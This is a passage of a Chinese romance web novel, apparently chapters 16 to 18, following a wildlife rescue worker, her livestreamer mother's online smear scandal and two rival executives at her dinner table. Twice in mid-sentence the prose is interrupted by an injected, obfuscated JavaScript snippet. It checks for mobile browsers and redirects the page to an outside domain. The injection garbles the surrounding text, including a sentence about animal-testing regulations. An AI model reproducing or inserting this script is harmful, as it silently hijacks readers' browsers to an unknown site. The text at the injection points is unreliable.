春满盯着这句关心,想说:我们尽快把欠彼此的人情还了吧,多吃几顿,饭吃完就谁也不欠谁的,扯平两清。 但……扯得平吗? 邻居、合作方,哪个身份往来不是一层叠一层的人情。 他们在人情债中,被捆绑得越来越紧。 对话框上备注栏显示“正在输入中”,良久后,赵华致却只收到一个字。 ——“好。” - 周一一早,春满像往常一样早起、做咖啡、吃早点、开车上班。 章啸行住院的事在园里继续瞒着,上午他给春满打电话沟通工作时,特意交代了一件事:“今天要来个导演给咱园拍纪录片,叫赵昭儿。春满,你记得接待一下,带她在各个馆熟悉熟悉。” 春满应下,十点钟的时候,见到了章啸行口中的人,一个个元气满满年纪不大的女生。 女生纤细高挑,梳露出大光明顶的马尾辫,短短的胎毛刘海在发际线处被太阳晒成金色,大概是两人投缘,春满觉得她身上有一种令人亲近的熟悉感。 “小满姐你好,你叫我赵赵就行,我家里人都这么叫我。接下来一个月我估计要天天来,你不要嫌我烦哦。” 没人会不喜欢这种真诚又美好的女孩,春满很是乐意道:“你不觉得无聊就好。现在我要去巡山,你想跟我一起吗?” “好啊。” 所谓巡山,是救护中心每周都要做的工作。当然不是搭乘观光车在山上逛一圈这么简单,主要扮演饲养员帮手的角色,确认动物健康状况、看望受伤动物的恢复情况、了解其他个体情况等等。 园里饲养员和动物达到了相对和谐的状态,意外不是天天有。 每周都做的工作,熟练程度可想而知。真有情况,春满跟饲养员用几句话就默契地解决了。 赵昭儿实打实喜欢动物,虽然时刻谨记自己带着纪录片采风和当哥哥助攻两个工作,责任重大,但一看到这些可可爱爱的动物,别管长得丑还是漂亮,她都喜欢,一个走神,便很难移开眼。 “内场和外场都24小时监控,我们会以此观察并判断动物的生活状态。饲养员每天都会观察动物大便的颜色、形状等特征,来判断动物的消化情况,有些动物还挑食,所以就需要调整她的饮食结构。”春满担心赵昭儿会觉得枯燥,以及自己照顾不周,等和饲养员沟通完,便尽量详细地向她解释,“就比如刚刚那个情况,要给它加一些助消化的药。” 赵昭儿点点头,又问:“我看到有饲养员把厚肉片,贴到树干上,是刻意设计的投喂方式吗?” “这是出于‘丰容’理念,放在树干上、叶子上、干草下,或者装到麻布袋里等等,都是为了模拟动物野外觅食。” 赵昭儿眼睛亮起来,对于这种过家家似的方式,有更高级的理解:“很有人文关怀。” 赵昭儿刚刚便注意到,内场水泥钢铁比较多,比较阴冷,饲养员还给动物们放置了取暖器和稻草取暖。 人的眼界越宽,便明白自己做的远远不够。春满不给动物园邀功,说:“其实我们没办法说这样做一定有意义,只是尽可能地提供一些帮助,虽然它们被圈养着,但物种的天性不该退化。” 赵昭儿认同地点点头,说:“挺好的。我平时也爱逛动物园,但不是所有园都能做得这么细致。” 一趟下来两个小时过去了,赵昭儿如是评价:“很像医院里主任带着实习生查房。” 赵昭儿嘴甜会来事,下午请大家吃了个下午茶,很快跟各个馆的同事打成一片,根本不需要春满特意带。 春满下班时,赵昭儿挽着她的小臂一块往车库走:“小满姐,你待会儿有事吗?我请你吃饭,你喜欢吃泰国菜吗?” 春满自己都没注意,跟这么个小太阳说话时,不自觉地扬起笑脸:“下次吧。今天我妈生日,我得回去陪她吃。” 赵昭儿哇了声,嘴甜的话不要钱似的往外倒:“祝阿姨生日快乐!能有你这么漂亮的女儿,阿姨一定也很漂亮。” - 私密性更高的别墅区,满郁养了一院子的猫猫狗狗,平日男朋友和工作团队常过来,一点也不冷清。 春满驾车一路开进车库,带了两份礼物进门。 满郁生日排场大,团队早早地布置好场地,满眼粉元素。春满一路看下来觉得自己眼睛快重影了。 蜷在窝里的小土狗原本懒洋洋地睡觉,听到春满声音撒欢地跑出来迎接。 “咖啡豆怎么跑了?——我女儿来了,它去迎接。”营业状态下的满郁坐在架高的手机面前,回答直播间的问题。 那张和春满七八分相像的脸上有微调和水光的痕迹,言谈举止多是少女的娇憨态。 春满喂了咖啡豆一条肉干,带着它坐到直播手机的后面,安静地陪满郁直播。 大概是受春满的影响,满郁对流浪动物也格外有爱心,家里收养了四只狗,十几只猫,它们时不时会在直播间露露脸,有两只比较会抖机灵的甚至拥有一批固定的粉丝。 满郁正式的生日直播在晚上,此刻纯属闲聊,回答弹幕问题,顺便宣传预热七夕节当天的品牌带货活动。 “珂兰是赫京旗下品牌,到时会到赫京大厦直播。” “会不会上柏丽四色的眼影?——宝贝,不上老品。七夕节当天珂兰要上新彩妆产品,植本系列。”满郁已经不知道第多少次重复,她拿过手边印刷的宣传板,用指甲划着一个跳跃的兔子标识解释,“值得注意的是,这系列产品是零残忍产品。很多宝贝可能不理解这个概念……” 满郁直播时间长,不方便频繁上厕所,所以控制自己的饮水量,难免嗓子有些不舒服。 春满注意到,给她把泡着胖大海的水杯端过来,满郁顺势说:“我女儿是专业的,让她解释。” 春满过去没少给满郁当不出镜的助播,习以为常地接上话茬:“百度百科上对于‘零残忍’‘Cruelty Free’的解释,是指企业不给自己的产品做动物测试,采用不用动物测试就能证明对人类安全的新原料。通常情况下,化妆品公司通过将化妆品滴入兔子的眼睛或豚鼠的皮肤来测试产品,以确定它是否对人体有害。所以,国际上相关组织对“零残忍”的认证一般以兔子作为标志。” 随着春满的科普,满郁用指甲刮了刮广告板,说:“就是这个标志。” 春满工作上和互联网交集甚少,但身边有满郁和姜早早每天都深扎在水深火热互联网中的人,自然清楚不严谨的言论容易被人节奏,所以科普完,春满很缜密地补了句:“自201 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517681|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 4年6月起,中国食品药品监督管理局宣布,对国产“非特殊用途”产品不再强制要求进行动物实验,但要求所有进口化妆品和国产特殊用途产品必须经过动物实验。 2017年底,国家食药监局启动了一个名为体外科学研究所的非动物实验室,推动全国范围内非动物测试的研究进展。 据我所知,赫京集团利用3D打印技术成功打印出亚洲人的皮肤模型,应用产品安全性和功效性检测。很多化妆品企业陆续在非动物测试领域做尝试。” 春满普及的声音落在直播间里不卑不亢,婉转动听:“抵制动物实验不是营销噱头或者激进派的口嗨,这是一个漫长的过程,是全人类对待非人动物‘人之为人’的理性体现。但任何事都不是一蹴而就的,需要有人努力,有人支持,每个人尽自己所能地发力。这是一个比较有争议的话题,也是一条很困难的路。赫京和很多企业正走在这条路上,祝福他们越走越远,成为保护动物道路上的举火之人。” “是的。有相同理念的宝贝们可以关注一下珂兰的植本系列。”满郁拿回话语权,又直播了会儿,最后一遍宣传预热了七夕节当天的带货活动,结束了本次直播。 “你是不是瘦了?”满郁摸了摸女儿的胳膊。 “没吧。夏天穿得薄。”春满注意力落在手里的苹果上,锋利的刀刃刮着薄薄的果皮,一圈一圈,宽度均匀。 “记得吃饭,为男人衣带渐宽不值得。”满郁嘱咐完,说起,“你舅妈最近没再给你打电话吧?” 春满继续专心削苹果,说没有。 “烦的话直接拉黑。你舅舅的车队负责房家的物流,指望靠你巩固合作。你舅妈想撮合你和小恺复合,煽动不了我和她统一战线,净去骚扰你了。你不用理。” 春满垂着眼应了声,但她没有拉黑人的习惯。 和房嘉恺刚分手,闹得最凶的那阵,春满都没有拉黑他,只是屏蔽了消息。 毕竟她和房嘉恺在一起四年,侵入彼此生活的痕迹太重。找点东西要个验证码,或者共同朋友有事找错人帮忙递个话之类的,都是小事。 两个家庭间的往来才是还不干净的人情账。 舅舅车队这件事比较边缘,真论起来,和春满没有直接关系,但房嘉恺的母亲佟向琴雪中送炭给动物园的那笔资金才是大人情。 虽说此一时彼一时,房家在动物园内的主题餐厅收益可观,没辜负了佟向琴的信任,但春满不可能自私到全当这份恩情还完,之后老死不相往来。 人得讲良心。 满郁碎碎念的声音拽回了春满游走的神思:“你舅妈前几天在医院撞见你了知道吗?回来在我面前好一番造谣,说你放着房嘉恺不要,要跟一个生病的老男人,气得我跟她大吵了一架。我话说得挺狠的,她估计气得不轻,要去你面前发疯,你不用惯着。亲戚做到这份上,跟她讲不明白道理。” 春满诧异地抬眸,那天病房外的走廊上,围观的众多,她竟不知道舅妈也在场。 春满嘴角动了动,只说:“我明白。” - 陪满郁过完生日,已经很晚了,春满索性住下,翌日一早也没回家,直接去上班。 中午的时候收到赵华致的消息:“昨晚回来没看到你的车,早晨出门也没看到。躲着我?” 春满停下手上的事,盯着对话框想了会儿,回复:“我昨天回我妈家住的。” “哦。今天回家吗?” 春满敲了个“嗯”,琢磨要不要约个晚饭,但手指悬在屏幕上半天,都没有落下。 这时,赵昭儿哼着歌出现,嘴甜道:“小满姐,你今天格外好看,是下班后有约会吗?” 春满从手机上移开视线,说:“没约会。被我妈指责年纪轻轻不够精致,硬给我化的。你下班有事吗,一起去吃你昨天说的泰国菜?” 虽然嘴上说工作以外的时间紧着赵华致来,但和赵昭儿吃饭可以算作工作。 一旦定下这个安排,春满便不必纠结另一个了。 赵昭儿遗憾地撇撇嘴:“可惜我有事。下次一定!” 春满小算盘没打成功,还得继续纠结。 - 彼时,赫京大厦VR部门,赵华致来体验改进了外观的机器,江鎏知道他精益求精的原因,特意叫来个长头发的女生试戴。 “摘下来时容易扯到头发吗?” “会把头发弄乱,但扯到头发倒不至于。我才发现锁扣的边边角角都被软皮做了遮挡。”女同事拿着新品端详一番,说,“两边的带子变宽还增加了软度,感觉头发被压变形的几率都小了很多。这也太人性化了。” 江鎏依旧是那副吊儿郎当的样子,怪腔怪调地“嗯哼”一声,说:“这是咱们赵总基于女性消费群体特意要求的,你很懂他哦。” 公司里除了江鎏没什么人敢开赵华致的玩笑,那女员工注意到赵总冷淡地瞥了江鎏一眼,而江鎏被警告后笑意更深些,隐约嗅到一些八卦的气息。 赵华致又跟设计师沟通了几句,设计师准备翻草稿纸上内容给他看,刚翻了两页抽出一页不知被谁乱写乱画过的草稿纸。 “什么时候混进来的?”设计师扫了眼,随手往碎纸机上放。 下一秒,赵华致伸手拦住。这张A4纸上记的是些无关紧要的会议内容。估计是记录的人觉得无聊,用中性笔在右下角勾画了只小鸟。 赵华致自然是认识春满字迹的。她那本贴贴画画做了详细文字标注的随手本还在他手上,这些年间被翻了很多遍,她的字迹如同被刻在脑袋里一般清晰。 “这张我拿走了。”赵华致在设计师困惑的注视下,把A4纸对折收好。 猜出端倪的江鎏欲言又止,那句“你变态吧”挂在嘴边,呼之欲出。 设计师好奇但不敢问,等赵华致从部门离开,才去请教江鎏:“江总,刚刚那张会议记录有什么问题吗?上面有我没看出的很重要的信息?” 江鎏拍了拍设计师的肩膀,老神在在地说:“恋爱脑的世界你不懂。” 赵华致回到办公室,把那张被遗弃的A4纸收进抽屉里,想到当年凭字迹认出春满的情形—— 央大每学期讲座非常多,面向全体学生开放。 那应该是他这一学年参加的唯一一场讲座,理由很简单,他在那本找不到失主的笔记里看到过这位教授的名字,从笔记内容来看,失主很欣赏这位教授的理念。 那天赵华致到阶梯教室时讲座已经开始有一会儿了,他轻手轻脚地从后门进去。 眼前就有一个空座,旁边坐着的女同学并没注意到他。 女生纤细的手腕上戴一条由奇形怪状的彩色石头串成的手链,她时而抬头看讲台,时而低头翻自己的笔记。 她使用的是和赵华致手中这本同样尺寸的随行本,长长的一条,大小很方便携带,但显然是没写几页的新本子。 赵华致细心地注意到,她似乎往前翻几页想要找什么过去记的知识点,但翻到头才意识到自己换了本子,又沮丧地把纸页翻回来,郁闷地写写画画。 赵华致站在过道上停顿了会儿,才朝她走近,低声:“同学,这里有人吗?” 春满闻声偏头,仿佛没听见他说什么,又可能是被他身后不知从哪扇窗户照进走廊又被哪面墙壁瓷砖反射而来的光亮晃了眼,春满慢了半拍才轻轻摇头:“没有,可以坐。” 阶梯教室的椅子是固定在地面上,凳面可折叠的,各自独立,连成一排,但互不影响。赵华致坐下时,明显察觉到春满自以为悄无声息地往另一边挪了挪。 赵华致疑惑地看过去时,对方正专注地盯着讲台的方向。 江鎏那话说得没错,顶着校花校草这种头衔的学生,彼此即便没有接触,在身边同学调侃时也会听说过。 赵华致可能迟钝些,不常在学校是一方面,对同龄人间的八卦兴致缺缺是另一方面。 “春满”这个名字在学生间提及率再高,于他而言,有印象,但不能和当事人对上号。 他对这位教授的讲座内容并不感兴趣,但很好奇这个女同学方才在笔记本上写写画画了什么,又或者只是因为她的这本随行本和自己手上的尺寸相同,促使他望去。 她字迹娟秀工整,非常的好认。 赵华致只恨当时没有当场比对、质问,杜绝一切狡辩的可能。 大概是他盯得有些久了,春满不客气地把笔记合住,以此来提醒他的不礼貌。 赵华致视线上移,眼底惊喜和意外的复杂神色逐渐冷静下来,在春满戒备冷淡的注视下,他问:“你最近丢过一本这样的随行本吗?” 没等赵华致内心的期待和澎湃发酵起来,春满不假思索地回答:“没有。” 见赵华致还盯着自己看,春满丧失耐心地皱眉:“还有事吗?” 分明就是她的东西,但她为什么不承认呢? 从那场讲座离开后,赵华致才知道她就是春满,了解到更多有关她的信息。 但碍于出国在即,他需要学习、处理的任务艰巨,时间掰成两半都不够用,同时国内校园里发生的事他听说得总是不及时。 一年、两年……赵华致用三年时间关注并了解春满,以及她鲜少示人的、“羽蒙”这个名字背后的摄影师身份。 赵华致始终不理解为什么春满不承认,就像他不理解自己为什么能记挂一个人三年之久,甚至不知道自己执着的到底是什么。 得知羽蒙要办摄影展的消息,赵华致决定回国跟春满见一面,找一找困扰自己的答案。 他以为自己对春满是好奇,毕竟对救命恩人一见钟情以身相许这种烂俗戏码太drama,可当他在摄影展上,看到春满在别的男人怀里笑靥如花,幸福洋溢的模样,他的心突然开始绞痛,一瞬间明白了。 ——他的牵挂,源自于藏在基因里喜欢,是荷尔蒙作祟的绵绵情愫。 赵华致自诩活得清醒,对工作有大局观,对感情充满理性,但似乎矫枉过正,这么简单的问题竟然花了三年才确定。 - 森林动物园内,救护中心没有突发状况,春满得以准时下班。 春满和同事路过保安亭,往车库走,视线扫过一辆辉腾车时着重看了眼车牌。 看到从车上下来的人时,春满驻足,让同事先离开,才朝辉腾车过去。 赵华致站在车门边等人走近,才说:“来附近办事路过,想着你还欠我一顿饭,就来碰碰运气。” “该我请你的。”春满纠结了一下午,倒是白纠结了。 赵华致沐浴在夕阳余晖中,周身冰冷气质被削弱了几分:“谁请都不是问题,问题在于不要有事情打搅我们。” 17.第 17 章 17 去的是一家每天只接待两桌客人的私房菜馆,赵华致提前订好的,菜单都没让春满看,两人坐下后,他直接让服务生上菜。 “这里的老板比较任性,没有固定菜单。待会儿你尝尝看。”赵华致如是说。 春满饮食口味偏甜辣,但别的也能吃,所以很愉快地接受了这个规则。 但不知是不是巧合,上桌的每一道都很合她的口味。 春满不由得想到在度假村一起吃饭时的事,姜早早说赵华致和自己口味像的事,那想必也合他的胃口。 春满正吃着,余光瞥见屏风隔断后走出个上年纪的男人,两鬓花白,仍难掩渊博斯文的气质。 “知道你来吃饭,我过来打个招呼。”老人看向事业有成的后生,笑容慈和。 赵华致起身:“您最近身体还好?” “好,都好。” 春满起初并不觉得自己该认识赵华致社交圈中的人,但在老人出现的那刻,她随之搁下筷子。 等对方跟赵华致简单问候几句,朝自己望来时,春满恭恭敬敬地喊了声:“翟教授。” 翟敏慎是央大的鸟类学博导。 春满爱上观鸟后,真正系统地了解专业知识便是通过一本由翟敏慎编纂的科普书。 春满大一那年参加完他的讲座后,特意选修了他的课程。 赵华致竟然认识他,看关系,比自己还要熟悉。 说是打招呼便只是打招呼,几句话后,赵华致送翟敏慎离开。 春满盯着屏风上投影着两人相对而立的身影,直至赵华致本人出现在视野里。 “你……”春满话到嘴边顿住,她记起大一下学期,赵华致也参加过翟教授的讲座,和她同一场,且座位相邻。 赵华致迟迟没等到下文,询问的声音响起:“怎么了?” 春满记起那场讲座上发生的小插曲,自然也记起那本她明明知道在谁手里却没办法讨回的随行本。探究的心思便逐渐淡了,她不动声色地改口,说起:“你刚刚和教授说了什么?我好像听到我的名字了。” “教授夸你,说你不仅专业能力强,还心善。他一直记得户外课上,属你急救知识最好,不仅维护大自然,还经常救人。我说你也救过我。” 春满撩起眼皮觑了赵华致一眼,并不相信,但也没较真,顺着他的话说:“不过是危急时刻身为人的本能。” 言下之意是救他是顺手。 赵华致自然听出来了,视线扫过她刚夹的那道菜,移到她眼睛上,说:“我的运气一向不错。但我这个人有恩必报,不喜欢辜负每一份善意。” 春满便没再说什么。 一顿饭吃完,除了翟教授来打了趟招呼,两个人的手机静悄悄,连个新消息提示音都没响过。 春满自然也注意到这个细节,语气轻快地调侃道:“看来也不是每次都有意外打扰我们吃饭。” “希望以后继续保持。想在周围逛逛吗?”赵华致见时间不算晚,提议道,“旁边有家鸟舍,挺有意思的——” 正说着,春满的手机响起。她在赵华致沉默的凝视下,不好意思地笑了笑,拿起手机看了眼,是姜早早的电话。 姜早早有事没事都喜欢找她扯闲天,但大多是弹微信语音或者视频,犯得上打电话的一定是十万火急的事。 “抱歉,我先接一下。”春满解释完,接通电话,没等开口,就听姜早早在电话那头咋呼:“看见群里消息了吗?你妈是得罪谁了,被十几个营销号发通稿黑。” 春满沉着脸,挂断电话查看群消息。 几个朋友在群里已经讨论过一番,其中薛引章作为社会新闻记者,跟娱乐记者壁还挺厚的,但也帮着打听了不少消息。 春满翻到时间最早的几条复制粘贴般的通稿内容,满郁自身热度很高,成立的MCN机构培养了十数个高流量网红,网络讨论度可见一斑。营销号说她五十岁装少女、私生活混乱、拉皮条等等。 满郁刚在网络上红起来时,因被扒前夫身份上过热搜,当时热搜撤得太快激起网友逆反心理。 如今再提起来,都说她前夫是个惹不起的人物,网友们纷纷阴阳怪气地调侃着“当心律师函警告”。 春满大致了解后,给满郁的助理发消息,问团队公关那边怎么说,视线从手机上移开看向面前的赵华致,焦急的神情中流露几分抱歉。 没等她解释,只听赵华致手机也响起。 是特助打来电话。赵华致接通后,听对面说了一番,只回一句“我知道了”,便有效率地结束通话,放下手机。 “抱歉,鸟舍去不成了。我妈出了点事,我得过去看着她。”春满觉得自己和赵华致之间大概有诅咒,这已经是第几次因故爽约了,明明赵华致才是那个日理万机的霸总角色,好在这顿饭已经吃得差不多了。 赵华致不甚在意:“一起吧。我也得回公司加班。” 春满抿唇,才想起满郁近期和赫京有合作,她的负面新闻直接影响到品牌。 刚刚春满仓促扫了眼,品牌官宣七夕节邀请满郁直播的动态底下,网友们纷纷排起高楼:“不看,滚。” 对品牌而言,最简单有效的解决办法是和满郁解约,并在短时间内找到同等流量,甚至更高流量的planB人选。 这在业内是再寻常不错的公关方案。最近有位亲宠网红因人设翻车影响到所合作品牌的形象,品牌一小时内发通稿解约,两小时敲定了和新博主的合作,公关步骤简单直接。 春满暂时没有精力关心赵华致会如何处理,眼下满郁的状态更重要。 满郁一直是个很有魄力的女人,当初被攀高枝的前夫抛弃,满郁上门大闹,谢家为了家族体面愿意给她两百万分手费。满郁却直接把价钱谈到了六百万,并且保证离婚后不说前夫一句坏话。 带着六百万的创业资金,满郁的事业坐火箭似的飞升。 虽然不能和谢家分庭抗礼,但在直播领域做到了佼佼者,而且早年创立的服装品牌发展得一般,但实体经济稳健,每年效益还是不错的。 那段婚姻结束得风平浪静,是因为对方没到便宜,她拿到了补偿。 如今栽了这么大跟头,春满怕满郁没人拦着会失控。 春满回满郁常住的别墅没找到人,准备去公司时,接到满郁助理的电话。 刚一接通便听到激烈砸东西的声音,同时伴随着中年妇女尖叫声。隔了会儿,春满才听到小助理的声音:“你现在方便来你舅舅家吗?你妈在这里——” 小助理略一顿,才找到一个稍微委婉的词,“发脾气。” 春满了解母亲,立刻明白轻重,挂断电话往那里赶。 春满到时,该砸的都砸了,只看到一地狼藉,和不再一味尖叫而是叫嚷着要报警的舅妈。 “你不用报,警察很快就要上门了。不止警察,还有法院的传票。”满郁抱臂站在门口,语气铿锵有力,“我那大侄子这几天是躲外地去了吗?看来他也知道剽窃同学的论文,致使对方抑郁症自杀的事。学生家长马上就找上门了,等着吃官司吧!” “不是喜欢伙同外人背刺我?继续去啊,我看到最后是谁栽得最狠。”满郁低头看了看自己的指甲,说,“我劝你最好不要赌,毕竟我是不介意家丑外扬,也不介意帮对方家长请最好的律师。” 舅妈顾不上哭,像一头看见红布的牛似的,弓着背朝满郁冲过来。 满郁没傻到站在原地等她撞,转身跨出门槛把门带上,见春满忧心忡忡地过来,脸上风轻云淡挂出笑:“着急跑来做什么,你是能帮我打还是能帮我骂?头发都跑乱了。” 春满没出口的那句“妈,你没事吧?”堪堪咽回去,任由满郁帮自己捋了捋头发。 街坊邻里不少听到争吵声跑出来围观的,七嘴八舌地讨论着发生了什么,母女俩坐到车里耳畔才清静。 “网上的事是舅妈做的吗?”春满问完便觉得不对,舅舅和舅妈不精通互联网,没这么大的能力。 但网上爆出来的料,有些内容不是身边人不会知道。 “一半一半吧,这些事不用你操心。”满郁没详说,只道,“我现在赶时间去跟品牌方开会讨论公关方案,一会儿到地方再让司机送你回去?” “我不急着回家。” “那行。” 满郁要见的品牌方自然是赫京旗下的珂兰。 半小时后,车子停在赫京大厦外,江鎏送人下楼,正巧看到这辆车停下。 春满一下车便听到江鎏跟自己打招呼:“赵华致知道你来肯定开心。” 从另一边下车的满郁闻声打量江鎏一眼,倒没深究什么,只道:“春儿,你跟我上去还是在楼下等?” 春满说:“我在楼下吧。” 满郁点点头,带着助理进了大厦。 江鎏盯着满郁风风火火的背影,再看回春满,刚要说什么,被春满抢先介绍:“我妈。” “知道。”江鎏对目前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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助理还在自顾自道:“不过这么说也不准确。天谢也是大集团,但在小青梨塌房时,说解约便解约。这样一对比,赫京真的很有人情味。刚刚见到传闻中的赵总了,没想到这么年轻,好帅啊。” 春满正准备附和几句,捧捧场,这时满郁睁开眼,打断助理刻意压低的雀跃声,问春满:“你跟赵华致认识?” 大概是江鎏的热情引得满郁注意,春满觉得从头到尾解释一番太过兴师动众,嘴唇碰了碰,只说:“他住在我楼上,上下楼时常碰见。” 满郁哦了声,没再说什么。 满郁的住处有娱记蹲守,她不想上赶着闹心,跟着回了女儿的家,时间已经是夜里九点钟。 危机不是一时半会儿解决完的,当务之急是填饱肚子,满郁报复性消费点了一大桌子菜。 结果餐厅外送还没到,满郁突然想起来自己今晚约了人见面。 “都这么晚了?”对于她的社交时间,春满表示难以置信。 满郁在玄关穿鞋子:“晚什么晚,夜生活才刚开始。” “……” 春满无奈,不放心地把她送到车库,看着她坐上车才折回,意外在电梯间遇到刚回家的赵华致。 赵华致见她着一条居家舒适、没什么版型却被她穿出韵味的长裙,脚上还穿双凉拖,纤细的绑带绕过脚背,脚趾圆润骨节秀长,皮肤白皙中泛着肉粉。 “去喂猫了?” “没,刚送我妈走。” 电梯到达,赵华致先跨进去。春满要抬步时,手机却响起,本以为是满郁忘记交代什么事,她停步接通,才知道是餐厅外送。 她来车库送人这几分钟,外送员已经到了春满家门外。春满让对方稍等,说自己在上楼的电梯里。 见赵华致帮她拦着电梯门,春满边挂电话边跨进去。 电梯里静悄悄,两个人分站左右。春满大概知道满郁点菜的风格,种类丰富,量也大,两个人吃都绰绰有余,更何况只剩她一个人。 “你想吃点宵夜吗?” 春满突然出声,赵华致视线从洁净反光的电梯内壁中的影子移到她脸上,回:“去哪里吃?” 男人侧脸瘦削,目光中隐约有期待。 春满抿了下唇,说:“我妈叫了餐到家里,但是突然有事离开,餐刚刚送到了,你介意一起吃吗?” 不少网民对满郁落井下石,赫京作为合作方却相信她。 在这份信任的对比下,春满觉得自己再隆重的道谢都太轻了。 春满邀得毫无心理负担,却不想赵华致答应得更是直接:“想在你家还是去我家?” 18.第 18 章 18 赵华致答应得太快,反倒让春满默了一两秒。 “去我家吧,外送员已经在门口了。” 春满先回家接外送的饭菜,赵华致也回家一趟,再下来时,扣得一丝不苟的衬衣扣子多开了一颗,衬衫袖口叠了几层,露出精瘦的小臂,手里拿着一瓶红酒。 “家里有醒酒器吗?” “给我吧。”春满把红酒接过来,进厨房起酒塞、倒入醒酒器,再回到餐厅时,赵华致已经洗了手,把她刚刚没来得及分开的碗筷摆在餐桌两边。 春满把醒酒器放下,拉开自己习惯坐的那把餐椅:“看看合胃口吗?不够的话我再点几道。” “足够了。”赵华致在她对面坐下, 赵华致注意力落在春满身上,裤脚被什么东西扯拽时,才注意到脚边不知从哪里跑出来一只橘猫。 “她叫橘皮。”春满说着,试图把它唤到自己那边。 橘皮偏了偏头,又蹭回赵华致身边。它不怕生,很亲人,赵华致见她抓了几下他的西裤似乎是要爬上来,伸手把他捞到自己腿上。 “是上次绝育的那只?” 春满嗯了声:“原本还担心她流浪惯了,在室内关不住,结果待了几天就赖着不走了。正好我也挺想养只猫的,就留下了它。” “挺好的。” 这个改变挺好的。 赵华致任由猫赖在腿上,正准备动筷,被响起的门铃声打断。 非住户人员需要物业管家开放门禁才能上来,想必来人是春满亲近的人,赵华致看春满一眼。 春满同样微怔,还以为是去而复返的满郁,起身开门。 “你怎么来了?”赵华致听见春满诧异地如是询问。 到访的客人回答:“网上的事我看到了。方便进去说吗?” 赵华致喝水的动作一滞,他通过男人的声音辨认出对方身份,是谢开阳。 “我家里有人在。”春满如是解释。 谢开阳任何时候都是一身笔挺的西装,闻言,朝室内望了眼,视线被隔断挡住,自然看不到餐厅里的人,只扫见门外鞋柜旁一双黑色的42码皮鞋,淡声提醒:“过了八点便不要留男性在家见面,有事去外面的咖啡厅聊。” “谢总不是男的吗?过了八点来敲单身女性的门,合适吗?”赵华致从隔断后走出来,对于谢开阳这个时间造访的意外情绪,被默契熟练的敌对态度取代。 谢开阳同样意外,眼神疑问地看了春满一眼。 赵华致本不打算露面,但想到那天在医院停车场,春满主动上了谢开阳的车,如今还能自由造访春满家,想必不是第一次来了。 赵华致实在是坐不住。 春满稍微偏头看了眼后方,原本还在纠结让不让谢开阳进来,但此刻把谢开阳赶走,显得她只想跟赵华致独处一般,气氛太怪异了。 “先进来吧。”春满往旁边让了让,等他进来后,关住门。 谢开阳看到餐桌上丰盛的晚餐,更沉默了。 赵华致作为先来的客人,显得更从容些:“谢总今晚没去慈善拍卖会?” 谢开阳用审视的眼神看回去:“赵总不也没去吗?” 赵华致原本是打算回家换身衣服去露个面,但在电梯里面对春满共进宵夜的邀请,他没办法拒绝。 “你吃饭了吗?没吃的话我给你拿副碗筷。”春满突然出声打断两个男人简短的交锋。 “谢谢。我坐你旁边这把椅子。”谢开阳看到桌上春满手机摆放的位置,视线往旁边移了移,说。 “坐吧。”说完她进了厨房。 春满出发点很简单,没有留赵华致吃饭,让谢开阳干看着的道理。私下里兄妹俩的矛盾和心结另当别论,不方便拿在人前给彼此难堪。 但落在赵华致眼中却是另一番意味,他那点“先来”的特殊,荡然无存。 两个男人坐在餐桌的斜对角,面面相觑。 趴在赵华致椅子底下睡觉的橘皮不知什么时候醒了,迈着优雅的猫步绕着谢开阳嗅了嗅,在赵华致一声声“橘皮”的呼唤中,跳到谢开阳的腿上。 赵华致:“……” 连猫都不亲他了。 春满从厨房拿了碗筷出来,逼停赵华致的不甘。 赵华致皮笑肉不笑,彬彬有礼地看着谢开阳:“谢总和小青梨解约时,没料到会产生这一系列连锁反应吧。” 谢开阳在谈判桌上不遑多让,很少有人能在他那里讨到痛快,此刻亦然:“赵总是替小青梨鸣不平吗?抱歉,今天才听说赵总和小青梨是旧交。” 赵华致注意到春满朝自己看了一眼,担心她抱有同样的误会,率先解释道:“几年前见过几次罢了。在异性缘方面,比不得谢总。” 谢开阳弯唇笑笑,看向春满,问:“醇啬的公关团队应付得来吗?我可以安排更专业的团队。” 醇啬是满郁的MCN公司。没等春满回答,赵华致率先道:“不劳谢总费心,满郁女士是赫京的合作主播,赫京会全程跟进公关事宜。” 谢开阳面露诧异地哦了声,颇有意味地挑明:“难怪赫京这两年势头越来越猛,看来得益于赵总的仁义。” 春满对两人互相不对付的关系早有耳闻,适时打断:“先吃饭吧。” 餐桌的食物摆得没有规律,春满看了眼,把几道偏清淡的换到谢开阳面前,说:“吃饭说话对肠胃不好。你多吃,少说。” 谢开阳被要求了反倒很开心,顺从地应了声“好”,引得赵华致朝他不怎么友善地瞥了一眼。 人与人亲近与否,往往不需要特意的表现,从气场和一些无意识的小动作就能感觉出来。 春满对谢开阳,明显比对他更从容。 一顿饭并不怎么融洽地结束了。餐厅外送的包装盒,收拾起来很快。春满起身刚准备收拾,被谢开阳制止:“我来。” 赵华致紧跟着也起身,接走她刚拿起的碗筷:“我去厨房洗。” 春满两手空空站在餐桌边,看他们俩人一个问“抹布在哪?”,一个问“洗洁精在哪?”,她把干抹布拿给谢开阳,转身进厨房帮赵华致:“有洗碗机,你放着吧。” 这种动动手指几十上百万起步的总裁,此刻穿着她家的家居鞋,袖子挽在手肘,周身散发着洗手作羹汤烟火气质,这两种矛盾的气质混杂在一起不违和,甚至更有魅力,有种很难精准形容的温柔。 姜早早如果在这里,肯定能给出精准的定义——人夫感。 春满不懂这些,趁谢开阳专心于餐桌卫生没注意到这边时,跟赵华致说:“谢开阳不知道这次的事上,你帮了很大的忙。他就是嘴巴坏,经常词不达意,你不要介意。” 